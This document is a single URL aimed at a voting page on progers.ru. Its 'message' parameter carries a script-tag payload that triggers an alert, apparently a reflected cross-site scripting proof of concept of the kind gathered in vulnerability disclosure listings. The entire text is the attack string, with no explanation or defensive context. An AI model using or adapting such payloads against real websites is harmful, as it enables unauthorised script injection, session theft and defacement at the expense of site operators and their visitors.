http://progers.ru/votes/?a=1&vote_id=&message=<script>alert(/xss/)</script>